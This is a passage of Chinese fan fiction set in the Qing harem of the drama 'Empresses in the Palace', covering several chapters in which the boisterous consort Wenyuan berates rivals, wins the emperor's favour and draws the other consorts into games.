文鸳一个人站在全场的c位,言语输出不停歇,脸不红气不喘,甚至还能再跟她们动手掰头几个回合。 沈眉庄有些急切的解释:“并非如此,不过是一时的小错,曦嫔何苦咄咄逼人。” “咄咄逼人?知道什么叫改过自新吗?那得先承认错误,你们两个,认错了吗?不是被本宫提醒后,一上来就说本宫的不是吗?” 瞧两人不再言语,文鸳才一副胜利者的样子转身看向皇后。 “皇后娘娘,臣妾这次是不是立功了?” 立功?这两个字跟她曦嫔有什么关系吗? 众位嫔妃第一次见如此气血十足又活力四射像是能把她们全部抡飞的女子。 “虽然,虽然曦嫔指出了沈贵人和莞常在的错漏,但曦嫔你在景仁宫大吵大闹言行有失,便罚你一个月的月例。” 还不等文鸳继续胡搅蛮缠,皇后快速的说道:“沈贵人和莞常在无视宫规,罚月例三月,罚抄宫规十遍。好了,今日就到这里吧,太后身子不适,改日再叫你们去请安。” 大家刚要行礼告退,文鸳又冒出了头:“那皇后娘娘,臣妾能去宁寿宫看看姑母吗?” 皇后看着曦嫔一脸单纯又期待的眼神掐了掐手心:“去吧,给长辈问安是应当的。” 今日请安,曦嫔一战成名,众人只听得曦嫔自景仁宫跑去了宁寿宫,用了午膳又去御花园放风筝,下午还顺着宫道溜达了两圈。 叫一众在自己宫殿里准备着侍寝的小主们觉得自己好像很娇弱。 就连华妃也带了怀疑的看了看自己的双腿:“本宫即使在闺中也没有这么闹腾,这个曦嫔不知道累吗?” 曦嫔知不知道累众人不知,但今日皇上翻的牌子是曦嫔,明儿就能知道,到底是皇上累,还是曦嫔累了。 第276 章 瓜尔佳文鸳7 虽然新嫔妃侍寝都是抬到养心殿离去,但文鸳毕竟入宫即是嫔位。永寿宫和养心殿也不过是一个甬道的距离,皇上乐得给曦嫔这个脸面,叫嬷嬷去了永寿宫伺候着。 “臣妾给皇上请安,皇上万福金安。” 今儿文鸳的一天皇上已经听的都很累了,本以为消耗了一天的精力,晚上能见到一个安静曦嫔。 这才一个照面请安,就打破了胤禛的幻想。 这活力十足的声音哪里有半分疲惫? 胤禛的心理活动复杂,但并不妨碍他欣赏美色。 面前的曦嫔朱唇皓齿,眉目如画,特别是那如凝脂般白皙细腻的皮肤,更是叫人一眼都舍不得离不开。 “起来吧,入宫几日可还适应?” 两人严格算起来是第二次见面,基本是陌生的状态,皇上一般会先挑些家长里短放松一下嫔妃的心情。 但文鸳并不需要放松。 她自觉的拉着皇上的手起身,然后熟稔的挽住皇上的胳膊。 “也适应也不太适应。宫里头吃的好住的好,就是玩儿的地方小一些。这几日碍着规矩臣妾都没有出门转悠,在这四方小院子里要憋闷坏了。” 皇上有些惊讶于曦嫔的开朗,不过回想鄂敏的折子倒也不觉得奇怪。 尤其是身边人貌美又活泼,他更是多了大半的耐心。 “朕不是叫人送来些解闷的玩意儿,不够你造作的吗?” 那都是皇上精挑细选耗费精力的好物,听苏培盛回禀,使用频率极高。 “东西是好东西,可是院子小,臣妾施展不开。” 文鸳自觉的腻在胤禛身边,比比划划的形容着这几日的快乐。 “皇上您不知道,今儿请安时臣妾可厉害了。” 这事胤禛倒是记得,只是还没等他发问,面前这个说了有一盏茶的话的曦嫔便忍不住自己秃噜了出来。 皇上牵了牵嘴角,眼神里带了些打趣和打量:“朕可是听说了,曦嫔娘娘今日勇敢谏言,很是威风呢。” 这话一半打趣还有一点敲打,但文鸳听不出来。 “皇上您消息真灵通!” 胤禛嘴角有些抽搐,这话说的简直叫他没法往下接。 “您不知道,那莞常在和沈贵人俩人一点规矩都没学,特别自然的就站到了臣妾和富察妹妹前头。臣妾上前说她们两句,她们不仅不认错,甚至还说臣妾嗓门大!” 说到这儿,文鸳就觉得生气。 她站起来叉着腰站在皇上面前,气呼呼的小脸像是喝饱了水的蜜桃,粉扑扑又水灵的鼓着:“皇上您说,臣妾的嗓门大吗?” 皇上不自觉的揉了揉耳朵:“中气十足。” 他自认为说的很明显,却完全忘记了曦嫔是鄂敏的女儿。单看瓜尔佳主支为了这三品的大理寺卿就配备了幕僚似的人物就能知道,这人有没有脑子很明显。 “可不就是,臣妾的额娘可是说了,像臣妾这般气血足精力旺盛的女子,才是健康的孩子!” 皇上被说的无言以对,虽然和他的意思有些驴唇不对马嘴,但曦嫔的话也没错。 “好了,可是用了晚膳了?” 他决定忽略这个话题,虽然纯元脸也惦记,但到底这错处是实打实的,罚一罚长长记性也好。 这次甄嬛被文鸳的不依不饶吓的和沈眉庄出了景仁宫立刻回到了碎玉轩,根本没有往御花园里绕。 所以也没有看到井里的泡福。 夏冬春第一次见比自己还要张扬的女子,也顾不得奉承皇后,也没有精力嘲讽甄嬛和沈眉庄三人,自己一溜烟的回到延禧宫,也躲避过了一场灾难。 文鸳对这些都不关心,她下午用了些点心,如今又饿了。 “还未呢,嬷嬷说晚上要陪皇上睡觉,不能吃太多,不然小肚子鼓起来了皇上不喜欢。” 文鸳有些委屈的拉了拉皇上的袖子,她眼巴巴的抬头看着胤禛,那双微微泛红的双眼叫他莫名的就心疼起来。 “皇上您摸摸,臣妾的肚子好可怜。” 只是还未等胤禛开口,文鸳又拉着他的手放到了那个软乎乎的小肚皮上。 隔着衣裳,皇上自己不知道怎么有些害羞。 “咳咳,嬷嬷有嬷嬷的道理,不过朕觉着你好看,不用在意这个。” 这话说到了文鸳心坎上,她笑的甜腻腻的冲着皇上撒娇,一顿饭把皇上吃的血糖猛升。 两人睡觉时文鸳刚开始还有些羞涩紧张,但一次后又恢复生龙活虎。 “臣妾给皇上擦擦汗。” 虽然瞧着动作有些僵硬,但仍旧精神百倍。 “你倒是精神。” 皇上的语气不阴不阳,偏面前这个小混蛋是个没脑子的。 “哎哟,臣妾第一次侍寝,总想着叫皇上喜欢嘛。皇上您快听听,臣妾的心,慌不慌?” 文鸳起身时把自己的肚兜穿了起来,此刻捂着胸口凑近的模样叫皇上色迷心窍。 苏培盛在外头听的直咂嘴,这皇上老大不小了,素日里就不是个重欲的。幸好他听了曦嫔娘娘的教养姑姑的话,这些时日一直给皇上温补着。 不然,皇上还能完乎的从曦嫔娘娘的床上下来吗? 皇上难得这般放纵,下场就是早上的生物钟失灵。 “皇上,皇上诶,早朝的时间要耽搁了。” 苏培盛站在床帐外头,声音由小变大。 一旁的夏荷目露同情,上前一步道:“苏公公不必着急,快到我们娘娘起床的时辰了。” 苏培盛还正纳闷,你们娘娘起身怎么了? 谁知下一秒床帐里传来一道精气十足的声音:“皇上,皇上醒醒,咱们起床去转圈啊。” 苏培盛不可置信的看着夏荷,得到了一个很命苦的微笑。 他小声的凑过去:“曦嫔娘娘,一向这么,这么有活力吗?” 其实苏培盛想说的是闹人,但觉得不太好。 夏荷点了点头,示意苏培盛看向一旁的茉莉和栀子。 那是曦嫔入宫带进来的宫女,苏培盛没瞧出什么特别。 “茉莉和栀子,每天都要用一粒人参养荣丸。” 这话听的苏培盛心里一激灵。 这人参是什么物件想必没有人陌生,两个奴婢能吃上人参养荣丸,那可真是主家开大恩了。 夏荷看苏培盛的脸色就知道这位想多了:“苏公公倒是也不必多想,您只要等皇上和娘娘起床,就知道缘由了。” 说完,夏荷先一步上前拉开床帐,随着宫人鱼贯而入的端着盆碗等物服侍主子们洗漱。 “皇上您瞧臣妾这身衣裳怎么样?” 辛劳了一晚上的皇上如今还有些腰酸,但瞧着曦嫔那生龙活虎的样子,他强撑着气势。 “好看,你肤色白,气质好,穿什么都好看。” 文鸳笑嘻嘻的围着皇上转圈,一会儿系腰带一会儿系扣子,虽然手法一般,但忙的飞起。 苏培盛的眼睛只觉得一会儿一个人影闪过去,这曦嫔娘娘服侍了皇上更衣,自己换了三身衣裳,又和皇上用了膳,蹬上绣花鞋竟又去花园里头甩鞭子去了。 虽然离给皇后娘娘请安的时辰还早,但后宫小主娘娘们,哪个不是服侍了皇上再去睡会儿的?这曦嫔娘娘果然不同凡响。 这时候苏培盛不再觉得茉莉和栀子两个奴婢用人参养荣丸是恩赐了,那明明是续命的良药。 看着皇上出了永寿宫的地界儿连一步路都不想走的架势,苏培盛也盘算着,得备上人参养荣丸了。 第277 章 瓜尔佳文鸳8 华妃木愣愣的坐在绣凳上由着颂芝挽发,昨儿个在床上翻来覆去大半夜没有睡着。只要皇上去了别的女人那里,她就魂不守舍的。 “娘娘今儿想穿什么颜色的衣裳?” 颂芝刚捧了衣裳来,外头一阵声音响起,吸引了华妃的注意力。 “外头怎么又闹起来了?” 她的声音有气无力,早上睡不醒的华妃娘娘实在不理解隔壁曦嫔的动静,昨儿不是初次侍寝吗?早上居然还闹的起来?皇上这么没用吗? 比起君恩,华妃此刻更想睡个回笼觉。 但永寿宫的声音由远及近,听着像是在翊坤宫门前。叫她动又懒得动,忍又忍不下。 周宁海瘸着腿快步进来:“娘娘,是隔壁的曦嫔,早早起来了,说是已经侍了寝,可以在宫道上溜达了。” 华妃晃了晃脑袋,只觉得自己出了幻觉:“溜达?这个时辰?” 周宁海的笑容有些苦涩:“是,曦嫔娘娘说早上起来动一动对身体好。” 华妃深吸了口气,听着外头的动静简直想死。 “昨儿个不是曦嫔侍寝吗?” 吃了大半宿的醋,这事她准不能记错。 颂芝为华妃插着簪子,小声的说道:“是,咱们和永寿宫一墙之隔,洒扫的小太监说,隔壁的动静到了下半夜了。” 此刻华妃顾不得吃醋,而是不可置信:“闹到下半夜,曦嫔现在就出来溜达来了?” 虽然颂芝也在想是不是皇上过于没用,但想着自家娘娘侍了寝也是睡的沉些。想来应当不是皇上的问题,只能是曦嫔...... 西六宫的人此刻都被吵了起来,虽然也到了请安的时辰,但大家心里只有一个念头:皇上果然不行。 曦嫔凭一己之力,把皇上的名声搞臭不自知,甚至还快快乐乐的奔赴景仁宫请安。 甄嬛和沈眉庄并没有被禁足,但是也没侍寝,今日自然是在自个儿宫里继续抄宫规。 文鸳穿着皇考贵妃准备的那身豆蔻紫的衣裳,一阵风似的走了进来。 行完了大礼,华妃不由自主的打了个哈欠。 “曦嫔,身为后妃要有后妃的样子,不要整日在宫里吵闹。” 这话说的严厉,但其实没有一点气势。 文鸳看着华妃水灵灵的凑了上去:“华妃娘娘,您黑眼圈好重啊。” 华妃瞬间精神,捂着脸看着文鸳:“果真?” 文鸳认真的点了点头:“不能总坐着,气血不通淤堵到眼眶这里,很难看的。” 虽然自己一个人玩儿的也很开心,但文鸳想找人一起踢蹴鞠了。永寿宫宫人的命也是命,更何况文鸳还指望着她们伺候呢,还是去祸祸别人吧。 富察妹妹是她自己定好的伙伴,虽然没有通知,但文鸳单方面的认为她同意了。 华妃被说的有些心动,她在闺中时也是爱玩爱闹的,自进了王府,头几年胤禛还会带着她去跑马,后头就再也没出去过了。 不过,曦嫔到底是跟她争宠的小贱人,华妃还在犹豫。 皇后脸上的笑容收敛了些,她不喜欢瓜尔佳氏,同样也看不得瓜尔佳氏和年世兰有交好的意向。 “曦嫔年幼活泼,难免有些吵闹,大家较曦嫔年长,多多包容便好。” 这话说的在场的人听的都不舒服,文鸳才不受这份气。 “皇后娘娘,昨儿个臣妾在姑母那里用了午膳,听闻外头对皇后娘娘叫汉军旗压着咱们满军旗头上很不满意呢!” 皇后的景仁宫里,除了她自己的人手,还有太后的人。 这消息自景仁宫传出,跟文鸳可没什么关系。 不过,皇后这个庶女的手段能有几分,她和那个包衣太后甚至没察觉出景仁宫还有宜太妃的人。 皇考贵妃知道,但不说。 甚至添柴加火,叫前朝今早参了皇后一本。 沈眉庄和甄嬛两个人说小了,是不守规矩僭越无礼,说大了,便是皇家这两口子对满清的地基不满意,想着用汉军旗取代。 再加上皇后那不轻不重的惩罚,皇上的默许,这火就烧的更加旺盛了。 皇后脸色一白,怪不得昨儿下午她去养心殿被打发了出去,原来皇上因着这个生气了。 华妃在一旁坐着若有所思,不过她在能给皇后添堵的时候,从来都是不遗余力的。 “咱们皇后娘娘就是心软,居然叫莞常在以常在的位分,压在了满军旗方佳常在头上,住到了碎玉轩的主殿呢。” 昨儿个就想发难,被曦嫔闹腾的脑瓜子嗡嗡竟是忘了正事。 今儿说也不晚,反正小贱人还在正殿待着呢。 “竟有此事?皇后娘娘,您还是不是咱们满军旗的女儿了!” 文鸳用一副看叛徒的眼神看着皇后,那一嗓子嚎的,简直要把皇后的耳膜穿孔。 “本宫,本宫未曾安排莞常在住在主殿。” 皇后哪里还能叫这个名声延续,她怕是不想在皇后之位上待着了。 “来人,把莞常在和方佳常在都带来。” 皇后心里头也恨得慌,就一个甄氏女,害的她名声受损,就算是皇上要罚,她也要先出了这口气。 底下的敬嫔目露烦躁,她宫里的沈贵人和这位莞常在关系好,怕是又要闹腾。 此刻她无比觉得曦嫔的闹腾是多么乖巧可人,不过是吵闹了些,规矩好有分寸,不惹事,比沈贵人好多了! 文鸳:哼!觉得我好也没用了,我不和你好! 甄嬛并没有老老实实的抄写宫规,她想着宫里头情形不明,正好趁着这个时机先隐退在后,观察情况后再另择时机。 也可以把不守规矩的名头在其她新人侍寝后慢慢叫皇上淡忘。甄嬛的打算很好,但正和浣碧流朱嘻嘻哈哈的她看到江福海,眼皮微跳。 “莞常在,皇后娘娘叫您去景仁宫问话。” 甄嬛直觉里头有事,但江福海不收银子,她也只能忐忑的跟了过去。 瞧着身边的方佳常在,陪同的崔槿汐突然意识到了什么,想和甄嬛通通气,却被皇后的人瞪了一眼。 “莞常在,你可知罪?” 甄嬛刚跪下请安,就被皇后这冷淡的话问的心里突突。 “嫔妾不知哪里做错了,请皇后娘娘示下。” 华妃冷笑一声:“瞧咱们莞常在伶牙俐齿的,不愧是在殿选上和皇上讨论xuan xuan一袅楚宫腰的人物。” 惹不起曦嫔,华妃把所有怒火都放在了唯二有封号的甄嬛身上。一通暴力查探,虽未查出和纯元皇后相似,但也查到了温实初和甄家的关系。 甄嬛的脑子疯狂转圈,这只能说她学识不精通而已,便痛快的认了罪:“是嫔妾卖弄了。” “所以,你是认了你以汉军旗常在的位分,住进碎玉轩主殿,压在了满军旗方佳常在头上是吗?” 此刻,被朝堂上迂腐的言官吵的头痛的皇上紧随而至。 今儿早朝突然有人参了皇后一本,幸得瓜尔佳鄂敏和他姑娘曦嫔一样,是个嗓门高又愿意和别人据理力争的。把这份黑锅彻底放在了皇后头上,皇上很欣慰。 “莞常在言行有失尊卑不分是大过,褫夺封号,贬为答应,身边的宫女太监不能规劝主子。各打八十大板。” 纯元再重要也比不过满清的江山,甄嬛这惩罚是逃不过去的。 皇上拿着手里的纸,崔槿汐迎甄嬛入主殿,主动贴身伺候一一记录在上头。 甚至崔槿汐如何进入碎玉轩的,也在纸上。 文鸳兴致勃勃的看着甄嬛,眼里没有半点阴霾。 可身边的夏荷知道,这张纸上大部分东西,都是皇考贵妃的人带着那位夏刈查出来的。 他们瓜尔佳氏,也真是好起来了! 文鸳:苏培盛想逃?不存在的,敢打我瓜六的板子,tui! 第278 章 瓜尔佳文鸳9 (康熙和妃,雍正继位后晋尊和妃为皇考贵妃。因为和妃无子,且未曾参与夺嫡,与雍正年龄相近又曾抚养过弘历,引发了一些流言蜚语。 不过雍正在【大义觉迷录】中进行了辩解。乾隆继位后,尊封皇考贵妃为皇祖温惠贵太妃,后又晋温惠皇贵太妃。这位和妃于乾隆三十三年薨逝,享年八十六岁。乾隆追谥为惇怡皇贵妃,和孝仁皇后妹妹佟佳氏合葬双妃园。 我的评论图片总是不显示,这历史人物的封号我能瞎编吗?反正我的百度是这么告诉我的。雍正二年六月,和妃和诸位先朝嫔妃同时进尊封礼,遣官封为皇考贵妃。) 皇上的声音虽然温和,但言语里透着的冷漠叫众人垂着头不再四处乱看。就连一向和皇后作对的华妃都没有露出幸灾乐祸的笑容。 甄嬛被御前的嬷嬷带了下去,皇后悻悻然的跪在地上微微抬起了头狡辩:“此事是臣妾的失责。原本 只想着莞,甄答应二人初入宫闱年纪还小,提点一番就好。尤其是甄答应.....是臣妾想佐了,请皇上恕罪。” 皇后恰到好处的点了皇上一下,示意她是因着甄嬛那张脸才舍不得重罚。 皇上看了皇后一眼摇了摇头。这个时候纯元已经不重要了。满清的江山都要被外头传的改汉人坐了,一个纯元算什么护身符? 皇上不言语,文鸳言语。 她瞪着一双好看的眼睛看看皇上,看看皇后,表情灵动又好懂。 然而皇后不看她,皇上光顾着转手上的串子。 文鸳有些着急,她坐在那里像凳子烧了屁股一样,为了引起皇上的注意,一条胳膊放平在胸口,一条胳膊竖在上面,规规矩矩的举着手。 皇上被她这奇怪的造型逗笑,绷着的脸也松快了。 “你做什么怪样子。” 虽然仍旧是淡淡的语气,但已经没有刚才那种剑拔弩张,时刻会掉脑袋的气氛了。 华妃虽然松了口气,但心里头不痛快。 “皇上,皇上,臣妾有话想说。” 文鸳看到皇上注意到她,眼睛亮起细碎的小星星。 “说吧。” 对待全身上下没有心眼子全是精力的曦嫔,皇上天然带了些包容。 “臣妾觉得皇后娘娘说的不对。” 得到允许,文鸳大声的说出了自己的观点。 以华妃为首,众嫔妃带着钦佩的目光看向曦嫔。 皇上从左边换到右边靠着,并未斥责文鸳的大胆,反而点了点头,示意她继续说下去。 受到鼓励,文鸳更加放心的敞开了嗓门。 “皇后娘娘说甄答应和沈贵人年龄尚小。臣妾记得,方佳常在才是咱们最小的妹妹。方佳妹妹都知道,不是主位不住主殿,所以,这跟年龄没关系。 而且,这事明明很严重,大清以满军旗为贵,尊严荣耀绝不允许被践踏。” 她掷地有声,有理有据,虽然大声了些,但也只是个人的习惯罢了。 这才两天时间,众人已经习惯了文鸳的大嗓门,此刻也只是优雅的用各种掩饰动作掏了掏耳朵,面无表情的在心里认同这句话。 皇后在上头深吸一口气,看了眼皇上的眼色闭了闭眼。 “是臣妾说错话了,请皇上降罪臣妾的失职。” 一句话把皇后说的愧疚请罪,文鸳骄傲的站在那里自以为隐蔽的晃了晃自己的花盆底。 等待皇上责罚皇后的过程有些漫长,文鸳有些闲不住的坐在凳子上左抠抠右挖挖。 脚下也没闲着,花盆底在景仁宫的地毯上又是蹭又是碾,一个人也玩儿的很高兴。 “皇后身子不好,便在景仁宫休养吧。宫务由华妃和曦妃负责。” 事发后,皇上也派夏刈查探过,这事的的确确是皇后没有扎好自己宫里的篱笆传出去的。 正是有文鸳闹腾起来转移了那些探子的注意力,这些言官在朝堂上才会放过他这个皇上。 瓜尔佳鄂敏虽然不聪明,但实在忠心。 “曦妃,曦妃是谁?” 今儿请安文鸳自觉的坐在了华妃下首,丽嫔又是个色厉内荏的草包,自然不敢多言。此刻她用胳膊撞了撞华妃的胳膊,好奇的凑近询问。 华妃看了文鸳一眼,奇迹的对这个人分了自己的宫权不算讨厌。 这么蠢的人,也不知道拿了宫权能不能安静两天。 隔壁的曹贵人笑了笑,第一个起身行礼道:“恭喜曦妃娘娘。” 文鸳看着曹贵人张了张嘴。 然后惊喜的看向皇上:“皇上皇上,您晋了臣妾的位分吗?” 皇上还是第一次见这般愚钝但并不显得叫人厌恶的女子,他笑着点了点头:“你立了功,这奖励可还喜欢?” 文鸳使劲儿点了点头:“喜欢,喜欢极了,皇上您真好,您是臣妾见过最好的人。” 好没内涵的夸奖,皇上虽然嫌弃,却无比受用。 文鸳谢了恩,又跑去曹贵人那里。 “给,多谢你提醒本宫。” 从手腕上撸下来的满纹鲤鱼纹玉镯是温润的和田籽料,漂亮又象征吉祥,一对摘了下来,塞在了曹贵人手里。 “多谢曦妃娘娘赏赐。” 给出去一副镯子,文鸳又眼巴巴的看着皇上。 “赏赐回去再给你。” 皇上总有种曦妃分不清大小王的感觉,便是给了她宫权,本意也并非叫她和华妃对上。其实内心深处潜在的意愿,不过是找点事情分散文鸳的精气神罢了。 一番大获全胜,文鸳更加有劲儿了。 她哒哒哒的溜达到宁寿宫,在皇考贵妃处又混了一顿点心,然后去延禧宫拉出来了富察贵人,路过一脸不服气的夏冬春也一并拽着走。 “走走走,本宫得了个颜色鲜艳的蹴鞠,一起去玩儿一会儿。” 富察仪欣就知道自己逃不过这位皮猴的拉扯,她一脸认命的说道:“你先叫我换身衣裳和鞋子。” 其实她也很想玩,这深宫瞧着富贵,其实无聊的很。 夏冬春立刻把曦妃第一个侍寝第一个晋位的不痛快抛到了九霄云外。 “曦妃娘娘等等嫔妾,嫔妾也要换身衣裳。” 说着,一眨眼人就消失在了原地。 文鸳很满意,这个夏常在看起来很能跑的样子,一定能玩儿很久。 安陵容瑟缩的站在乐道堂的外头,眼神里带了自己都没察觉的期待。 “不带你,你总跟那个甄答应一起玩儿,你们是一伙儿的,本宫不跟你玩儿。” 安陵容想要礼貌的笑一笑,却怎么也扯不开嘴角。 她红着眼看着曦妃一阵风的来,一阵风的带着笑声把延禧宫的富察贵人和夏常在拉去踢蹴鞠,心里头不知是什么滋味。 宝娟的挑唆自是不必多说,文鸳也不往心里去。 她带着富察贵人和夏常在来到永寿宫,皇上专门给她修葺的小花园里。 三人热热闹闹的玩儿了起来。 一个文鸳的嗓门就够叫华妃头疼,再加上一个夏常在,华妃觉得自己脑瓜子就没有清净的时候。 虽然很想生气,但她们的笑声太有感染力了。 华妃动了动脚,有些蠢蠢欲动。 想当初,她的蹴鞠可是连她二哥都是手下败将的。 不过她到底还有些抹不开面,支着下巴听了好久,也没有迈出去那一步。 而华妃作为紫禁城第一刺头都没有出门说曦妃一句喧哗,别人就更不会冒头了。 西六宫三D环绕式的哈哈声,惊走了大片大片落在墙头上的鸟雀,敬嫔抬头看着顶上四四方方的蓝天,总觉得日子好像活泛了。 然而景仁宫里。 “这是曦妃扣的?” 皇上临走路过,看着属于文鸳的座位已经变的面目全非。 黄花梨的太师椅扶手上多了些明显的划痕,地上的地毯也有两团乱糟糟脱了线的图案。 然而皇上开口却是:“曦妃年幼,哪里有这么大的力气。皇后你这宫里的东西用好些吧。” 皇后:皇上,你听听你说的是人话吗? 第279 章 瓜尔佳文鸳10 惩罚了皇后,前朝的声音小了下来,主要是他们也没人能送进来当皇后了,还不如叫这个什么也不是的乌拉那拉家的庶女占着位置,总好过叫自己的对手得了好。 虽然大部分人是这么想的,但也有两拨人的心思十分活泛。 一拨自然是瓜尔佳氏为首,而余下的,便是富察氏。 只不过富察氏知道自己头前做了什么得罪小心眼皇帝的事,对皇后之位并没有什么太大的野望。他们只盼宫里头的贵人安安分分的得个皇子,养精蓄锐的到下一朝再冒头。 所以更多的是凑瓜尔佳氏的热闹罢了。 但瓜尔佳氏又不傻,这时候宫里只有他家闺女以满军旗坐到了妃位,闹起来是不会有丁点好处的。 所以两家现在处于一个微妙平衡。 总的来说,马奇这个鬼精鬼精的老货看中了宫里头曦妃的资质,但没有儿子一切免谈。 而宫外的瓜尔佳氏野心自然也有,只不过他们更倾向于平稳,只要得了皇子,皇后一位若是失了皇上信任,那不要也罢。 既知道曦妃是个能成事的,宫外的族人便把鄂敏看了起来。 这不聪明的人还贪心,就十分可怕了。 文鸳完全没有后顾之忧,有宫里的皇考贵妃在,就连太后都少不得卖这位贵妃一个面子,更何况一个禁足的皇后。 “皇上皇上,您陪臣妾一起玩儿吧。” 缠磨了皇上三个日夜,皇上现在只想歇着。 “朕那里还有折子,你找富察贵人她们去吧。” 皇上哪里见过这个场面,小小女子,浑身使不完的牛劲。 “可是仪欣和冬春都起不来床了。” 两人虽然较其她后妃体力好些,但也比不上文鸳的体格子。 不过是踢个蹴鞠拉个弓,第二日就抬不起来胳膊动不了腿的。 皇上不语,只是脑袋一味的后仰。 “皇上皇上,咱们今日玩儿简单的,就投壶好不好?或者踢毽球也行呀。” 皇上看了一眼身后的高无庸,轻轻叹了口气。 “走吧,说好了,就玩儿一会儿。” 文鸳乐呵呵的跟在皇上身侧出了门,嘴里头叽叽喳喳的:“皇上,苏公公呢?怎么是高公公跟着您?” 皇上看了一眼身旁的好奇宝宝:“苏培盛犯了错,被朕打死了。” 文鸳点了点头:“嗯,敢在皇上身边犯错,打他!” 空着的手攥成拳头挥了挥,瞧着可爱又可笑。 皇上白了文鸳一眼,就知道指望不上这个四肢发达的妮子想到什么深意。 得知苏培盛被乱棍打死,文鸳这个高兴。 一兴奋就忍不住动一动,她腿脚灵活,带着皇上也踢毽球得了趣味。 别看皇上有些胖,但其实还是挺灵活的。四力半说起来跟那些兄弟们没得比,放在现在很够用。 “好了好了,出了汗了,快去洗洗。” 动一动果然身体都轻快了,就是饿的也很快。 文鸳入宫还没几天,皇上就觉得自己以后怕是会越吃越多了。 至于宫务,文鸳忘记了。 直到本还得意捏了所有宫权在手的华妃点灯熬油的处理那些琐事,黑眼圈粗毛孔都找上了她。 而相反的,文鸳一整天除了吃喝玩乐什么都不干,甚至还发展了齐妃和方佳常在两个下线。 唇红齿白没有被宫务连累的一点疲倦,还整日透过宫墙嘻嘻哈哈给她听,华妃实在受不了了。 “曦妃!” 华妃带人面带怒容的快步走进永寿宫内。 正在跳百索的文鸳扭头看去,热情的打招呼。 “华妃来了,快来快来,跳百索会不会?” 宫里头能祸祸的人基本都要祸祸遍了,今儿好容易到了冬春侍寝,文鸳也不好拉着她继续玩儿。 仪欣前几日侍了寝,昨儿个跟她跳百索的时候觉着不舒服。 今天就只剩下她自己了。 齐妃今天要给三阿哥熬汤,方佳常在今日搬宫去长春宫。 华妃气势汹汹的来,一脸懵逼的接话:“当然会,本宫可厉害的很。” “那华妃跟本宫去换身衣裳吧?” 文鸳主打一个不给别人反悔的机会。 她手劲儿极大,不由得华妃挣扎,拉着她进了内室。 运动果然是最好的长高秘方,原身165左右的身高,经过这段时间上蹿下跳的努力,竟然也和华妃差不离了。 “这是本宫新做的,是不是很好看,快换上,咱们去跳百索。” 文鸳嫌弃华妃主仆俩磨叽,亲自上手扒了华妃的衣裳。 “曦妃!你成何体统!住手!” 华妃被这阵仗吓的连连后退,她横行皇上的后院这么多年,第一次被一个女子扒了衣裳,这简直叫她羞愤至极。 “你这是做什么?咱们都是女子,你有的我也有,有什么好害羞的?我又不脱你的里衣,只是换身方便的骑装罢了。” 文鸳不解的歪着头,仿佛华妃无理取闹一般。 虽然曦妃说的也没毛病,但没有人能接受被扒衣服好吗? 华妃跟文鸳说不通,气的直哼哼。 而文鸳,不往心里去。 “好了,这玫红色果然很衬你诶,不过华妃你最近是不是没有好好保养,怎么脸色粗糙了这么多。” 文鸳一刀扎进华妃心口,叫她恨不得呕出一口血。 “你还说,皇上叫你跟着掌管宫务,你是一点也不管!我天天熬夜打算盘,能好吗?” 这便也就罢了,皇上来了她都没时间招待,这不是扎心吗? 文鸳却不听:“哎呀,能者多劳,快来,我带你动一动就好了。” 华妃挣不脱,只能‘半推半就’的和曦妃闹了起来。 你还别说,不愧是被欢宜香熏入味儿的,华妃这体力完胜其她几个人。 “华妃华妃,要不要射箭?我这永寿宫里还有箭靶呢!” 跳百索总有玩腻的时候,两人喝着蜜水又跑去了后院。 华妃多年没有锻炼,不比文鸳准头高。 但她是个不服输的,势必要找回曾经的手感。 正怕华妃半路撂挑子不跟她玩儿呢,文鸳乐呵呵的陪着练,今儿倒是玩的痛快。 华妃在晚膳时分才回到翊坤宫,整个人虽然劳累,但十分的爽快。 “娘娘可是高兴的很了?” 颂芝一边给华妃洗澡,一边笑着问。 华妃点了点头,看了看自己红肿有些破皮的双手目露怀念。 “曦妃虽然吵闹了些,但实在有趣。” 做后妃太久了,她都快忘了闺中的快乐了。 颂芝虽然心疼自家娘娘手心的伤,但并没有觉得什么不好。 她自小陪在娘娘身边,从前娘娘在家里就是这样,虽然偶尔会受伤,但是娘娘是真的快乐自由。 现在虽然富贵,但娘娘也只有在皇上来的时候能真心的露个笑脸。 “大将军给咱们的药膏也总算派上用场了。” 颂芝取来年羹尧送进宫的药膏,都是上好的金疮药,不仅不刺激,好的也快。 虽然年羹尧知道自家妹子在宫里没什么机会拉弓骑马,但还是年年送进来。 华妃舒坦的泡了个澡吃了顿饱饭,刚想去美美睡一觉,颂芝面色难堪的指了指桌子:“娘娘,这些,还没有处理呢。” 华妃愣了一下,她今儿不是去给曦妃送宫务的吗? “放着,明儿给曦妃送过去。本宫再睡的晚些,都要比皇后那个老妇老了!” 第280 章 瓜尔佳文鸳11 这四个宫里的主位在文鸳的热情招呼下加入了蹴鞠和踢毽球等趣味活动中。在这个寒风四起的秋日里换上平底鞋蹦蹦跳跳,成为了皇上眼里新奇的一景。 另一半,则是咸福宫和储秀宫的两人,安静派。 敬嫔一向中立,即使心里头看好曦妃,也因着自个儿宫里的沈眉庄不好意思上前。再加上曦妃压根没有交好的意思,敬嫔自是明白,人家没看上她。 而欣常在嘴碎,皇后禁足后不用请安,这人不心存感激就罢了,还在御花园溜达着和宫女说她的坏话。 被文鸳逮了个正着,叉着腰骂了她半个时辰,声音响彻东西六宫北部范围,就连博尔济吉特贵人都被吸引着看了会儿听不太顺溜的大戏。 自此,两人的梁子就算结下了,欣常在惹不起,但又不服气,基本上就算是被孤立在了整个后宫。 “皇上别去找欣常在玩儿,她这个人不行,背后说人小话,人品堪忧。” 进宫有月余多,皇上大部分的时间都划给了她和华妃两人。其余新入宫的小主倒是得了侍寝,只是皇上被文鸳消耗了太多精力,对她们就有些敷衍。 一扬秋雨,皇上生怕永寿宫的熊孩子不知深浅的被湿滑的地面和瑟瑟秋风绊了腿脚,下了朝直奔永寿宫而去。 还未到大门口,就听得里头嘻嘻哈哈的笑声。 皇上心道:果然如此。 迈步走进,就连皇上都觉着今早的风有些寒凉的天气,曦妃穿着一身薄薄的秋装在院子里肆意奔跑。手里举着一个红蓝两色的八角风车 ,随着曦妃的步伐越转越快。 好容易把人拦了下来,还没安静上一盏茶的时间,背后说小话的皇上没看见,但是看到了背后告状的。 “欣常在怎么得罪你了?” 皇上倒是没什么不高兴,欣常在这个人自潜邸时毛病就显露出来,不过没想到的是,进了宫,以常在的位分还敢在背后说妃位的坏话。 文鸳‘噌’的一下从皇上怀里站起身,一手叉腰一手胡乱的挥舞着,形容着欣常在和她宫女的样子。 